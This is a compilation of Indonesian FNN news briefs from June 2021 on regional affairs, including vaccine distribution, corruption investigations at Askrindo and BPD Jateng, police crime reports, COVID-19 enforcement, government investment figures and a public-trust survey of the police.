Makassar, FNN - PT Bio Farma saat ini mulai mendistribusikan vaksin untuk pelaksanaan vaksinasi gotong royong di Kota Makassar, Sulawesi Selatan. Branch Manager PT Kimia Farma Trading & Distribution (KFTD) Makassar Panji Alam di Makassar, Senin mengatakan pihaknya telah mendistribusikan stok vaksin gotong royong sebanyak 12 vial kepada Klinik Telekomedika. "Vaksin gotong royong sudah pernah satu kali dikirimkan untuk didistribusikan, itu ke Klinik Telkomedika Makassar, pekan lalu," ujarnya. Selanjutnya, dalam waktu dekat, KFTD Makassar kembali telah menerima "packing list" dari vaksin yang akan diterima pada 24 Juni mendatang. Sebanyak 112 vial akan dikirimkan untuk didistribusi ke Klinik Telekomedika lagi. "Itu cuma untuk satu perusahaan yaitu PT Olan dengan satu fasyankes (fasilitas pelayanan kesehatan)," tambah Panji. Saat ini, pihaknya tengah melakukan persiapan sarana, berbagai keperluan pengiriman dan penyimpanan vaksin, sebab hal itu membutuhkan ruang lebih besar untuk vaksinasi gotong royong. Meski demikian, Panji menyampaikan bahwa setelah stok vaksin datang, maka paling lambat dua hari, vaksin segera dibawa ke fasyankes tujuan. Apalagi, pada pelaksanaan distribusinya, ada lima distributor obat yang ikut membantu Bio Farma, di antaranya Kimia Farma, Indo farma dan Dos Ni Roha. "Distribusi vaksin memang harus lebih cepat karena sudah ada yang bantu. Kita juga tentu butuh ruang untuk menyimpan stok vaksin," ujar dia. Panji juga menyebut bahwa stok vaksin mulai banyak dan telah didistribusikan ke berbagai wilayah Sulsel untuk kelancaran vaksinasi. (mth)

Mantan Ketua MK Hamdan Zoelva Jadi Komisaris Utama PT Jakarta Propertindo

Jakarta, FNN - Pemerintah Provinsi DKI Jakarta menunjuk mantan Ketua Mahkamah Konstitusi (MK) Hamdan Zoelva menjadi Komisaris Utama PT Jakarta Propertindo atau Jakpro (Perseroda). "Hal tersebut diputuskan dalam Keputusan Para Pemegang Saham Luar Biasa pada tanggal 15 Juni 2021," kata Sekretaris Perusahaan Jakpro, Nadia Diposanjoyo melalui keterangan tertulis di Jakarta, Senin. Nadia mengatakan Badan Pembinaan BUMD DKI Jakarta pun telah mengumumkan penunjukkan Hamdan Zoelva sebagai Komisaris Utama Jakpro. Selain menjadi Ketua MK periode 2013-2015, Hamdan Zoelva juga pernah menjadi anggota DPR RI dari Partai Bulan Bintang (PBB) dari Daerah Pemilihan Nusa Tenggara Barat (NTB). Di parlemen, Hamdan Zoelva dipercaya mengemban jabatan sebagai sekretaris fraksi dan memegang salah satu posisi di Badan Musyawarah (Bamus) DPR RI sekaligus Wakil Ketua Komisi II Bidang Hukum dan Politik. Sebagai pimpinan Komisi II DPR RI Hamdan banyak terlibat langsung merumuskan berbagai kebijakan penting dan strategis untuk negara, termasuk pemilihan calon presiden dan wakil presiden. (sws)

Pemkab Kediri Sanksi Tegas Pungutan Ilegal di Objek Wisata

Kediri, FNN - Pemerintah Kabupaten Kediri, Jawa Timur, memberikan sanksi tegas bagi pelaku pungutan ilegal di fasilitas publik, termasuk objek wisata, mengingat saat ini sudah diterapkan transaksi nontunai untuk masuk objek wisata. Bupati Kediri Hanindhito Himawan Pramana di Kediri, Senin, mengemukakan bahwa pihaknya mendapatkan laporan di lokasi objek wisata terjadi praktik pungutan ilegal. Untuk itu, pemkab telah mengeluarkan surat yang isinya imbauan tidak ada pungutan ilegal. "Saya menegaskan bahwa tidak boleh ada lagi praktik pungutan liar, terutama di sejumlah objek wisata di Kabupaten Kediri," katanya. Di daerah ini, kata dia, untuk masuk objek wisata sudah diterapkan transaksi nontunai. Hal itu juga sebagai upaya demi mencegah terjadinya praktik pungutan ilegal. "Untuk pengelolaan wisata, kami sudah menggunakan sistem TNT (transaksi nontunai). Pada sistem ini semuanya sudah berbasis elektronik sehingga meminimalisasi terjadinya praktik pungutan liar," katanya. Pemerintah Kabupaten Kediri memutuskan memanfaatkan layanan pembayaran nontunai untuk transaksi pajak daerah sehingga mempercepat layanan dan mengurangi risiko kontak langsung, mengingat saat ini masih pandemi COVID-19. Kebijakan tersebut dibuat sebagai tindak lanjut dari Tim Percepatan dan Perluasan Digitalisasi Daerah (TP2DD) Kabupaten Kediri yang telah dibentuk sebelumnya. Selain itu, kebijakan ini juga meminimalisasir risiko kontak langsung mengingat saat ini masih pandemi COVID-19. Kepala Perwakilan Bank Indonesia Kediri Sofwan Kurnia juga mengapresiasi langkah pemkab setempat yang memanfaatkan digitalisasi dalam transaksi pajak daerah. Dalam praktiknya, pelaksanaan transaksi nontunai sementara di dua lokasi wisata, yakni Gunung Kelud (1.371 meter di atas permukaan laut) di Kecamatan Ngancar dan Air Terjun Dolo di Dusun Besuki, Desa Jugo, Kecamatan Mojo, Kabupaten Kediri. Sebelumnya, transaksi digital dilakukan di pasar tradisional, termasuk di area Kampung Inggris, Kecamatan Pare, Kabupaten Kediri. Perseroan Terbatas (PT) Bank Pembangunan Daerah Jawa Timur Tbk. (Bank Jatim) juga ikut mendorong digitalisasi wisata Gunung Kelud (1.731 meter di atas permukaan laut) dengan meluncurkan e-Ticketing berbasis aplikasi mobile untuk mempermudah wisatawan yang berkunjung ke gunung tersebut. Direktur TI dan Operasi Bank Jatim Tonny Prasetyo mengatakan bahwa wisatawan dapat melakukan pembayaran nontunai menggunakan layanan Quick Response Indonesia Standard (QRIS) Bank Jatim. Ia menjelaskan inovasi tersebut merupakan langkah konkret dalam meminimalisasi penyebaran virus COVID-19 melalui uang tunai yang beredar di tengah masyarakat. (sws)

Polisi Tangkap Dua Anak "Punk" Pelaku Pengeroyokan di Tulungagung

Tulungagung, Jatim, FNN - Aparat kepolisian di Kabupaten Tulungagung, Jawa Timur, menangkap dua anak "punk" yang mengeroyok Chandra Dwi Santoso karena melindungi TM (17), gadis "punk" dari kelompok yang sama dari percobaan perkosaan para pelaku. "Ya kami sudah mengamankan dua tersangka pengeroyokan setelah mendapat pengaduan dari korban Chandra Dwi Santoso,” kata Kasubbag Humas Polres Tulungagung Iptu Trisakti Saiful Hidayat di Tulungagung, Senin. Kedua pelaku pengeroyokan sekaligus percobaan perkosaan itu berinisial JN (18) dan ANA (18). Keduanya menghajar Chandra yang sebenarnya masih rekan-nya sendiri sesama punk. Rupanya JN dan ANA kesal terhadap Chandra yang menghalangi upaya mereka menodai TM. "Kedua tersangka ini marah karena rencananya gagal lantaran saksi TM ini dilindungi korban," papar-nya. Dijelaskan Trisakti, tersangka pertama diamankan di Pos Kemuning dekat dengan Jembatan Sembung, Tulungagung sepekan lalu, Senin (14/6). Sementara tersangka kedua diamankan saat mendatangi Polsek Tulungagung Kota, terkait tindak pidana ringan yang dilakukannya. Peristiwa pengeroyokan itu sendiri terjadi di area lahan kosong depan Indomaret, Kelurahan Sembung, Tulungagung pada Sabtu (12/6) pagi menjelang subuh, sekitar pukul 02.30 WIB. Kedua pelaku, JN dan ANA beritikad buruk menodai TM, temannya sesama anak punk yang tertidur pulas di tempat yang sama. Menyadari dalam ancaman, TM kemudian meminta perlindungan pada Chandra, rekan-nya sesama punk yang ada di lokasi yang sama. Sikap korban yang menghalang-halangi itu membuat JN dan ANA emosi dan kemudian mengeroyok Chandra hingga babak belur. Korban pun mengalami luka lebam dan robek pada bibir kiri serta benjol pada bagian kepala. Kasus itu lalu dilaporkan ke Polsek Tulungagung Kota. (sws)

Kejagung Periksa Mantan Pejabat Askrindo Terkait PT AMU

Jakarta, FNN - Penyidik Jaksa Agung Muda Tindak Pidana Khusus Kejaksaan Agung, Senin, memeriksa dua saksi terkait dengan kasus dugaan tindak pidana korupsi pada PT Askrindo Mitra Utama (AMU) anak usaha Askrindo pada tahun anggaran 2016—2019. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejagung Leonard Eben Ezer Simanjuntak menyebutkan dua saksi itu adalah mantan penjabat PT Asuransi Kredit Indonesia (Askrindo). "Hari ini jaksa penyidik memeriksa dua orang saksi," kata Leonard. Ia lantas menyebutkan inisial WW selaku mantan Direktur Pemasaran PT Askrindo periode tahun 2015—2019. WW diperiksa terkait dengan keuangan, pendapatan komisi, dan pengeluaran biaya komisi PT AMU. Saksi kedua berinisial PIS selaku mantan Kepala Divisi Keuangan, SDM Pajak PT AMU periode 2019—2021. PIS diiperiksa terkait dengan penerimaan dan pendapatan komisi serta biaya operasional PT AMU. "Pemeriksaan saksi ini untuk memberikan keterangan guna kepentingan penyidikan tentang suatu perkara pidana yang ia dengar sendiri, ia lihat sendiri, dan ia alami sendiri guna menemukan fakta hukum tentang tindak pidana korupsi yang terjadi di PT Askrindo Mitra Utama (PT AMU)," kata Leonard. Sepekan yang lalu, Selasa (15/6), jaksa penyidik Jampidsus juga memeriksa dua orang saksi terkait dengan hasil audit keuangan oleh PT AMU. Kedua saksi tersebut berinisial PSR selaku Komite Audit PT Askrindo dan ASS selaku Komite Remunerasi dan Nomisasi PT AMU. Pada hari Kamis (17/6), penyidik menggeledah tiga cabang PT Askrindo yang ada di sejumlah wilayah, termasuk di Jakarta. Kejaksaan Agung tengah menyelidiki kasus dugaan tindak pidana korupsi pengelolaan keuangan di PT Askrindo Mitra Utama (AMU), anak perusahaan PT Asuransi kredit Indonesia (Askrindo), pada tahun anggaran 2016—2019. Sebelumnya, Direktur Penyidik Jaksa Agung Muda Tindak Pidana Khusus (Dirdik Jampidsus) Febrie Adriansyah mengatakan bahwa kasus dugaan tipikor PT AMU sudah naik tahap penyidikan. Ia menjelaskan bahwa kasus tersebut menyangkut pengelolaan keuangan di PT AMU (anak perusahaan PT Askrindo) yang ada kaitannya dengan kebijakan-kebijakan perusahaan induknya. "Jadi, terkait dengan pengelolaan keuanganlah, yah. Kami melihat ada penyimpangan dalam pengelolaan itu yang menimbulkan kerugian pada Askrindo," kata Febrie. (sws)

Komisi III DPR RI Sesalkan LPSK Cabut Layanan Perlindungan Wartawan

Meulaboh, FNN - Anggota Komisi III DPR RI dari Partai Amanat Nasional (PAN) Nazaruddin alias Dek Gam menyayangkan sikap Lembaga Perlindungan Saksi dan Korban (LPSK) yang mencabut layanan perlindungan terhadap Asnawi Luwi, wartawan korban pembakaran rumah di KabupatenAceh Tenggara. "Saya kecewa terhadap LPSK yang mengambil keputusan sepihak. Ini merugikan saksi korban yang merupakan wartawan yang rumahnya dibakar di Aceh Tenggara pada tanggal 30 Juli 2019," kata Nazaruddin dalam keterangan tertulis diterima di Meulaboh, Senin. Menurut dia, kasus dugaan pembakaran rumah milik Asnawi Luwi saat ini sudah ditangani di Polres Aceh Tenggara, bahkan sudah ditingkatkan ke tahap penyidikan oleh kepolisian setempat. "Kasus ini sudah mulai mengarah, bakal ada yang menjadi tersangka," katanya. Dengan dihentikannya perlindungan terhadap saksi korban oleh LPSK, kata dia, patut dipertanyakan siapa nantinya yang akan menjamin keamanan keluarga korban setelah LPSK mencabut layanan perlindungan tersebut. Nazaruddin mengatakan bahwa kasus pembakaran rumah milik Asnawi Luwi, wartawan koran harian terbitan di Banda Aceh, sudah terjadi hampir 2 tahun. Ia juga optimistis polisi akan mampu mengungkap kasus tersebut, khususnya oleh penyidik di Polres Aceh Tenggara di bawah pimpinan Kapolres AKBP Bramanti Agus Suyono. "Saya akan mempertanyakan hal ini kepada LPSK di Jakarta, dan meminta lembaga tersebut agar memberikan perlindungan melekat terhadap korban," katanya menegaskan. (sws)

Polresta Sidoarjo Kampanye Perang Narkoba Menjelang HANI 2021

Sidoarjo, FNN - Petugas Polresta Sidoarjo, Jawa Timur, mengkampanyekan perang melawan narkoba menjelang peringatan Hari Anti Narkotika Internasional (HANI) 2021 yang diperingati setiap tanggal 26 Juni. Kasatresnarkoba Polresta Sidoarjo Kompol. M. Indra Nadjib, Senin mengatakan sebagai bentuk kampanye perang melawan narkoba pihaknya memasang banner di sejumlah jalan protokol di kabupaten setempat. "Pemasangan banner tersebut dilakukan sebagai gerakan bersama guna mengingatkan masyarakat jangan terlibat dalam penyalahgunaan narkoba," ujarnya di Sidoarjo. Kampanye gerakan melawan narkoba, kata dia, akan terus digelorakan Polresta Sidoarjo bersama pemangku kepentingan terkait lainnya. Banyak cara guna mengedukasi masyarakat akan bahaya narkoba bagi kehidupan. "Melalui banner peringatan Hari Anti Narkotika Internasional, kami mengimbau masyarakat agar jangan sampai terlibat dalam penyalahgunaan dan peredaran narkoba. Semua sudah tahu apapun risiko dan konsekuensi hukum yang dapat diterima apabila ada yang terlibat di dalamnya," tukas-nya. Sementara itu Kepala BNNK Sidoarjo Toni Sugiyanto menjelaskan, peringatan HANI 2021 pada 26 Juni 2021 nanti pihaknya akan terus memasifkan gerakan melawan narkoba. "Masifkan lebih tinggi mengenai War on Drugs. Sesuai tema yang diangkat Perang Melawan Narkoba (War on Drugs) di Era Pandemi COVID-19 Menuju Indonesia Bersih Narkoba (Bersinar)," tutur-nya. Ia berharap dengan adanya gerakan masif tersebut bisa meningkatkan kesadaran masyarakat akan pentingnya bahaya penggunaan narkoba. "Mari bersama-sama memerangi peredaran narkoba di masyarakat," ucap-nya. (sws)

Mantan Pimpinan BPD Jateng Cabang Blora Terancam Hukuman Seumur Hidup

Jakarta, FNN - Mantan pimpinan Bank Pembangunan Daerah (BPD) Jateng Cabang Blora Rudatin Pamungkas alias RP terancam hukuman seumur hidup atas perkara dugaan korupsi penyaluran kredit bergulir atau "revolving credit" (RC) di PT Bank Pembangunan Daerah Jateng. Kepala Bidang Penerangan Umum (Kabagpenum) Divisi Humas Polri Kombes Pol Ahmad Ramadhan, di Jakarta, Senin, mengatakan RP telah ditetapkan sebagai tersangka dijerat dengan Pasal 2 ayat (1) dan atau Pasal 3 UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah UU Nomor 20 Tahun 2001 atas perubahan UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 51 KUHP. "Ancaman hukum pidana penjara seumur hidup atau pidana penjara paling lama 20 tahun dan denda maksimal Rp1 miliar," kata Ramadhan. Ramadhan menyebutkan, kontruksi hukum yang dilakukan RP, yakni melakukan tindak pidana korupsi pada penyaluran kredit bergulir atau "revolcing credit" (RC), kredit proyek dan KPR di PT BPD Jateng Cabang Blora tahun anggaran 2018-2019. Penyelidikan dan penyidikan dilakukan setelah penyidik Direktorat Tindak Pidana Ekonomi Khusus (Dittipideksus) Bareskrim Polri menerima laporan polisi dengan Nomor LP/0096/II/2021 Bareskrim tanggal 11 Februari 2021. Kronologis tindak pidananya, pada tahun 2018-2019 PT BPD Jateng Cabang Blora melakukan penyaluran kredit revolving (bergulir), kredit KPR dengan total plafon Rp96,3 miliar. Dalam tahap proses pencairan kredit sampai penggunaan kredit tidak sesuai dengan ketentuan yang ada pada PT BPD Jateng. "Dalam proses penyidikan terdapat rekayasa dalam kredit tersebut yang diduga dilakukan RP bersama pihak terkait, debitur, dan pihak-pihak yang turut serta membantu sehingga terjadi kerugian negara," kata Ramadhan Hingga saat ini, kata Ramadhan, penyidik telah melakukan pemeriksaan terhadap 90 saksi dari PT BPD Jateng Cabang Blora dan debitur. Ada pun barang bukti yang diamankan berupa dokumen pengajuan "revolving credit", kredit proyek, dan KPR. Barang bukti dari dokumen transaksi penyakuran kredit yang disita berupa sertifikat hak milih sebanyak 70 terdiri atasi 61 debitur KPR, 4 sertifikat agunan RC, dan 5 sertifikat hak milik agunan proyek. (sws)

Kapolda Papua Barat Minta Anggota Tidak Merusak Citra Polri

Manokwari, FNN - Kapolda Papua Barat Irjen Pol Tornagogo Sihombing meminta seluruh anggota kepolisian di daerah ini bekerja profesional dan menghindari tindakan kontradiktif dalam tugas yang dapat merusak citra Polri. Hal ini diungkapkan Kapolda Papua Barat pada agenda tatap muka bersama personel Polres Manokwari, Senin, di Markas Polres Manokwari. Kapolda mengatakan bahwa tugas kepolisian di daerah harus bersih dari tindakan tercela seperti melakukan transaksional dalam penanganan sebuah perkara sehingga merusak citra Polri. "Jangan ada perbuatan transaksional perkara di lingkungan kerja kalian. Transaksional bukan hanya berupa uang tetapi juga berupa janji-janji kepada pihak yang berperkara," kata Kapolda. Ia menegaskan bahwa karir seorang anggota Polri akan rusak ketika melakukan perbuatan yang kontradiktif dengan tugas kepolisian sebagai pengayom masyarakat. Dalam kesempatan itu, ia memberikan atensi khusus bagi oknum-oknum anggota Polri di seluruh polres jajaran Polda Papua Barat yang masih mengonsumsi minuman beralkohol saat menjalankan tugas. "Karir Anda ditentukan oleh perilaku dan kesetiaan Anda pada tugas yang dipercayakan negara. Jadilah anggota Polri yang dicintai masyarakat, bukan sebaliknya," katanya. Sementara itu, Kapolres Manokwari AKBP Dadang Kurniawan Winjaya melaporkan gambaran umum pelayanan personel Polres Manokwari yang juga membawahi wilayah kabupaten Pegunungan Arfak. Ia memaparkan jumlah personel, penanganan perkara, dan kasus menonjol selama enam bulan berjalan pada tahun 2021. (sws)

Sri Mulyani: Realisasi Pembiayaan Investasi Pemerintah Melonjak 298 Hingga Persen

Jakarta, FNN - Menteri Keuangan (Menkeu) Sri Mulyani Indrawati menyatakan realisasi pembiayaan investasi pemerintah hingga Juni 2021 mencapai Rp25,6 triliun atau 13,67 persen dari pagu anggaran Rp187,18 triliun. Sri Mulyani menuturkan realisasi tersebut meningkat 298 persen dibandingkan periode sama tahun lalu yakni hanya Rp6,4 triliun. “Ini meningkat sangat drastis dibandingkan tahun lalu hanya Rp6,4 triliun jadi kenaikan hampir tiga kali lipat atau 298 persen,” kata Menkeu Sri Mulyani dalam Konferensi Pers APBN KiTA di Jakarta, Senin. Sri Mulyani menuturkan investasi dilakukan dengan mempertimbangkan performa penerima dan urgensi penggunaan dana. Secara rinci investasi tersebut meliputi kepada Badan Layanan Umum (BLU) Lembaga Manajemen Aset Negara (LMAN) Rp5,6 triliun dan BLU Pusat Pengelolaan Dana Pembiayaan Perumahan (PPDPP) Rp8 triliun. Kemudian Pemulihan Ekonomi Nasional (PEN) daerah Rp10 triliun dan BLU Lembaga Dana Kerja sama Pembangunan Internasional (LDKPI) Rp2 triliun. Ia menjelaskan investasi pemerintah yang tumbuh ini sangat bermanfaat secara langsung kepada masyarakat. Manfaat itu meliputi penyaluran Fasilitas Likuiditas Pembiayaan Perumahan (FLPP) melalui PPDPP tahun anggaran 2010-2021 sebesar Rp64,12 triliun untuk pembiayaan 843.231 unit rumah. Pendanaan pengadaan lahan pada LMAN menjadi enabler dengan dimulainya pembangunan 97 Proyek Strategis Nasional (PSN) diberbagai sektor dengan nilai Rp78,16 triliun untuk 159.839 bidang seluas 182.974.804 meter persegi pada 2016 sampai 2021. Pinjaman PEN ke daerah untuk membiayai berbagai sektor, antara lain jalan dan jembatan, SDA, pendidikan, kesehatan, jalan umum serta lainnya. Terakhir yakni pemberian hibah melalui LDKPI untuk penanganan COVID-19, penanganan bencana, dan peningkatan kerja sama negara sahabat dalam rangka pencapaian tujuan dan kepentingan nasional. (sws)

Polres Madiun Tingkatkan Operasi Yustisi Guna Cegah COVID-19

Madiun, FNN - Petugas Kepolisian Resor (Polres) Madiun, Jawa Timur, bersama TNI setempat meningkatkan pelaksanaan operasi yustisi di wilayah hukumnya guna mencegah penyebaran COVID-19 yang masih tinggi. Operasi yustisi masif dilakukan di wilayah polsek-polsek sebagai upaya memaksimalkan kegiatan pemberlakuan pembatasan kegiatan masyarakat (PPKM) skala mikro. "Dalam operasi yustisi, kami mendisiplinkan masyarakat yang melanggar protokol kesehatan. Kami memberikan pemahaman tentang pentingnya penerapan protokol kesehatan untuk mencegah COVID-19," ujar Kapolsek Kare AKP Suprapto di Madiun, Senin. Menurut dia, dalam operasi yustisi, jajaran-nya memberikan edukasi kepada masyarakat akan bahaya COVID-19 serta mengawal penerapan protokol kesehatan. Selain memberikan edukasi akan pentingnya penerapan protokol kesehatan, Polsek Kare yang dibantu petugas Koramil setempat juga membagikan masker secara gratis kepada masyarakat guna mendukung penerapan protokol kesehatan dalam kehidupan sehari-hari. "Dengan adanya Operasi Yustisi yang digelar setiap saat, harapannya kesadaran masyarakat semakin tumbuh bahwa wabah COVID-19 berbahaya dan harus diperangi bersama-sama," ucap dia. Hal yang sama dilakukan di Polsek Geger. Operasi yustisi masif dan ditingkatkan guna mendukung pemerintah dalam pengendalian penyebaran COVID-19. "Dalam Operasi Yustisi ini, kami melaksanakan publikasi pencegahan COVID-19 dan pendisiplinan masyarakat yang kedapatan tidak menerapkan protokol kesehatan," tutur Waka Polsek Geger Iptu Slamet Nuryanto. Ia berharap dengan operasi yustisi yang digelar setiap hari, penyebaran rantai COVID-19 di masyarakat dapat diputus. Sesuai data, total kasus COVID-19 di Kabupaten Madiun hingga Senin (21/6) mencapai 4.161 orang. Dari jumlah itu, sebanyak 3.721 orang di antaranya telah sembuh, 189 orang dalam pemantauan, dan 251 orang meninggal dunia. Tambahan kasus per hari Senin ini, konfirmasi baru 26 orang, sembuh 15 orang, dan meninggal dunia tiga orang. (sws)

Polisi Tulungagung Tangkap Oknum LSM Pelaku Pemerasan

Tulungagung, Jatim, FNN - Aparat Kepolisian Resor Tulungagung, Jawa Timur, menangkap oknum anggota LSM bernama Dondik Setiawan (37) karena diduga menjadi otak pemerasan bermodus menjebak korbannya dengan mengencani gadis di bawah umur. "Penangkapan terhadap pelaku ini merupakan pengembangan dari penangkapan tiga orang kawanan pelaku pemerasan sebelumnya, untuk kasus dan korban yang sama," kata Kasubbag Humas Polres Tulungagung Iptu Trisakti Saiful Hidayat di Tulungagung, Senin. Penangkapan Dondik nyaris tidak ada perlawanan. Tim penyidik yang melakukan pengembangan kasus ini menangkap anggota LSM ini di sekitar tempat tinggalnya di Kediri. Polisi sudah memantau pergerakan Dondik selama beberapa hari, sebelum akhirnya ditangkap. Dondik diduga sering beraksi melakukan pemerasan bersama komplotannya dengan modus mengumpankan gadis di bawah umur untuk berkencan dengan "pria hidung belang". Kasus terakhir yang menjadi delik aduan kepada polisi ada pemerasan yang dialami seorang perangkat asal Campurdarat berinisial DF. Saat itu, sebagaimana pengakuan tiga pelaku pemerasan sebelumnya, DF tiba-tiba mendapat pesan singkat dari WN (18), wanita penghibur yang indekos di sekitar Kelurahan Jepun, Kota Tulungagung. DF diminta untuk datang ke indekosnya. Namun rupanya, pesan singkat melalui layanan perpesanan whatsapp itu dilakukan WN atas permintaan Dondik cs. Begitu korban datang ke indekos WN, Dondik cs datang seolah menggerebek kamar indekos tersebut, lalu mengancam akan memenjarakan korban jika tidak mau memberikan sejumlah uang. "Jadi masing masing pelaku ini berbagi tugas. Setelah korban digerebek dan dimasukkan ke mobil, seolah-olah korban ini diinterogasi. Ada yang mengancam, ada yang memvideokan, ada yang menakut-nakuti, dan meminta uang kepada korban," tutur Tri Sakti. Dari tindak pemerasan yang dilakukan pada Maret 2021 itu, Dondik Cs berhasil memeras DF sebesar Rp6 juta. Kasus tersebut kemudian dilaporkan korban kepada polisi, sehingga dalam waktu tidak lama tiga pelaku pemerasan berhasil ditangkap. Hanya Dondik yang saat itu masih lolos. Perannya segera terungkap setelah tiga pelaku pemerasan yang ditangkap lebih dulu ini memberikan pengakuan kepada polisi. (sws)

Kejagung Periksa Mantan Pejabat Askrindo Terkait Korupsi di PT AMU

Jakarta, FNN - Penyidik Jaksa Agung Muda Tindak Pidana Khusus Kejaksaan Agung, Senin, memeriksa dua saksi terkait dengan kasus dugaan tindak pidana korupsi pada PT Askrindo Mitra Utama (AMU) anak usaha Askrindo pada tahun anggaran 2016—2019. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejagung Leonard Eben Ezer Simanjuntak menyebutkan dua saksi itu adalah mantan penjabat PT Asuransi Kredit Indonesia (Askrindo). "Hari ini jaksa penyidik memeriksa dua orang saksi," kata Leonard. Ia lantas menyebutkan inisial WW selaku mantan Direktur Pemasaran PT Askrindo periode tahun 2015—2019. WW diperiksa terkait dengan keuangan, pendapatan komisi, dan pengeluaran biaya komisi PT AMU. Saksi kedua berinisial PIS selaku mantan Kepala Divisi Keuangan, SDM Pajak PT AMU periode 2019—2021. PIS diiperiksa terkait dengan penerimaan dan pendapatan komisi serta biaya operasional PT AMU. "Pemeriksaan saksi ini untuk memberikan keterangan guna kepentingan penyidikan tentang suatu perkara pidana yang ia dengar sendiri, ia lihat sendiri, dan ia alami sendiri guna menemukan fakta hukum tentang tindak pidana korupsi yang terjadi di PT Askrindo Mitra Utama (PT AMU)," kata Leonard. Sepekan yang lalu, Selasa (15/6), jaksa penyidik Jampidsus juga memeriksa dua orang saksi terkait dengan hasil audit keuangan oleh PT AMU. Kedua saksi tersebut berinisial PSR selaku Komite Audit PT Askrindo dan ASS selaku Komite Remunerasi dan Nomisasi PT AMU. Pada hari Kamis (17/6), penyidik menggeledah tiga cabang PT Askrindo yang ada di sejumlah wilayah, termasuk di Jakarta. Kejaksaan Agung tengah menyelidiki kasus dugaan tindak pidana korupsi pengelolaan keuangan di PT Askrindo Mitra Utama (AMU), anak perusahaan PT Asuransi kredit Indonesia (Askrindo), pada tahun anggaran 2016—2019. Sebelumnya, Direktur Penyidik Jaksa Agung Muda Tindak Pidana Khusus (Dirdik Jampidsus) Febrie Adriansyah mengatakan bahwa kasus dugaan tipikor PT AMU sudah naik tahap penyidikan. Ia menjelaskan bahwa kasus tersebut menyangkut pengelolaan keuangan di PT AMU (anak perusahaan PT Askrindo) yang ada kaitannya dengan kebijakan-kebijakan perusahaan induknya. "Jadi, terkait dengan pengelolaan keuanganlah, yah. Kami melihat ada penyimpangan dalam pengelolaan itu yang menimbulkan kerugian pada Askrindo," kata Febrie. (sws)

Dua WNA Ajukan Permohonan Jadi WNI di Bali

Denpasar, FNN - Dua warga negara asing (WNA) bernama Wayan Samantha Isabella Keatinge (27) asal Australia dan Michael Szarata (62) asal Jerman mengajukan permohonan menjadi warga negara Indonesia di Kantor Wilayah Kemenkumham Bali. "WNA bernama Wayan Samantha Isabella Keatsida sudah lama di Bali dan bisa bahasa Bali. Kalau Michael Szarata punya bisnis di Bali," kata Kepala Kantor Wilayah Kementerian Hukum dan HAM Bali Jamaruli Manihuruk dalam siaran persnya di Denpasar, Bali, Senin. Jamaruli Manihuruk menyebutkan dua WNA itu mengikuti sidang permohonan pewarganegaraan. Dari tim verifikasi, mengajukan beberapa pertanyaan, di antaranya pertanyaan terkait dengan wawasan kebangsaan, pajak, dan tindakan kriminal. Ia menjelaskan bahwa Wayan Samantha Isabella Keatinge merupakan WNA berkebangsaan Australia sejak lahir tinggal di Sanur, Denpasar. Selain itu, Wayan Samantha juga mengerti bahasa Bali dan sudah aktif berorganisasi di Sekaa Teruna Teruni (organisasi pemuda/pemudi di desa) salah satu banjar di wilayah Sanur. Sementara itu, Michael Szarata adalah WNA berkebangsaan Jerman, kemudian datang ke Indonesia pada tahun 1992 dan saat ini bertempat tinggal di Sanur, Denpasar. Warga asing asal Jerman ini memiliki usaha yang bergerak di bidang konsultan jasa dan servis untuk pariwisata. "Kedua WNA tersebut bisa menjawab pertanyaan tentang wawasan kebangsaan dengan cukup baik dan bisa menyanyikan lagu Indonesia Raya. Selain itu, kedua WNA tersebut taat dalam melaporkan pajak dan tidak pernah melakukan tindakan kriminal," kata Kakanwil. Selanjutnya, tim verifikatur akan melakukan verifikasi lebih lanjut kelengkapan berkas atau dokumen dari kedua WNA tersebut untuk diajukan ke pusat. (sws)

Cyrus Network: Kepercayaan Publik Terhadap Polri Meningkat

Jakarta, FNN - Direktur Riset Cyrus Network Fadhli MR mengatakan angka kepercayaan publik terhadap institusi Kepolisian Republik Indonesia (Polri) meningkat dalam survei akhir bulan Mei 2021. "Sebanyak 86,2 persen responden mengaku percaya terhadap Polri. Angka ini naik meningkat jika dibandingkan dengan survei sebelumnya sebesar 62,5 persen,” kata Fadhli dalam keterangan tertulis, di Jakarta, Senin. Survei Cyrus Network juga meminta responden untuk menentukan tingkat kepercayaan terhadap tiga lembaga penegak hukum lainnya, yaitu Mahkamah Agung, Kejaksaan Agung, dan Komisi Pemberantasan Korupsi (KPK). Fadhli mengatakan hasil survei itu, Polri menempati peringkat teratas sebagai lembaga penegak hukum yang paling dipercaya oleh publik dengan 86,2 persen, diikuti Mahkamah Agung dengan 85,9 perssn, kemudian 82,2 persen responden percaya terhadap Kejaksaan Agung serta 80,7 persen percaya terhadap KPK. "Selisihnya tipis-tipis, sebagian masih dalam rentang margin of error. Hanya tingkat kepercayaan terhadap KPK, lebih rendah dibanding lembaga yang lain. Hal ini mungkin dipengaruhi ramainya isu seputar KPK belakangan ini," kata Fadhli Fadhli menambahkan, meningkatnya kepercayaan publik terhadap Polri merupakan modal penting bagi Polri untuk menjalankan program-program dan meningkatkan pelayanan. “Ini merupakan prestasi yang harus dipertahankan, dan terus ditingkatkan oleh segenap jajaran Polri, agar Polri bisa dekat dengan masyarakat dan profesional dalam menjalankan fungsinya," ujar Fadhli. Dalam survei tersebut, juga terungkap harapan besar masyarakat terhadap Polri, di antaranya sebesar 27,1 persen masyarakat berharap Polri lebih mengayomi, cepat, tanggap, dan dekat dengan masyarakat. Kemudian 22,0 persen masyarakat berharap Polri semakin memperbaiki/meningkatkan lagi pelayanan dan kinerja serta lebih memberikan keamanan di tengah masyarakat sebesar 10,6 persen. “Harapan tersebut bisa menjadi masukan penting bagi Polri agar ke depannya bisa semakin dicintai oleh masyarakat,” kata Fadhli lagi. Survei Cyrus Network ini dilakukan pada 28 Mei-1 Juni 2021 dengan jumlah responden sebesar 1.230 orang, tersebar secara proporsional pada 123 desa/kelurahan terpilih di 34 provinsi. Survei dilakukan secara tatap muka dengan menggunakan metode multistage random sampling dengan tingkat kepercayaan survei ini adalah 95 persen dan margin of error sebesar plus minus 2,85 persen. (sws)

Kami Hadir Kembali

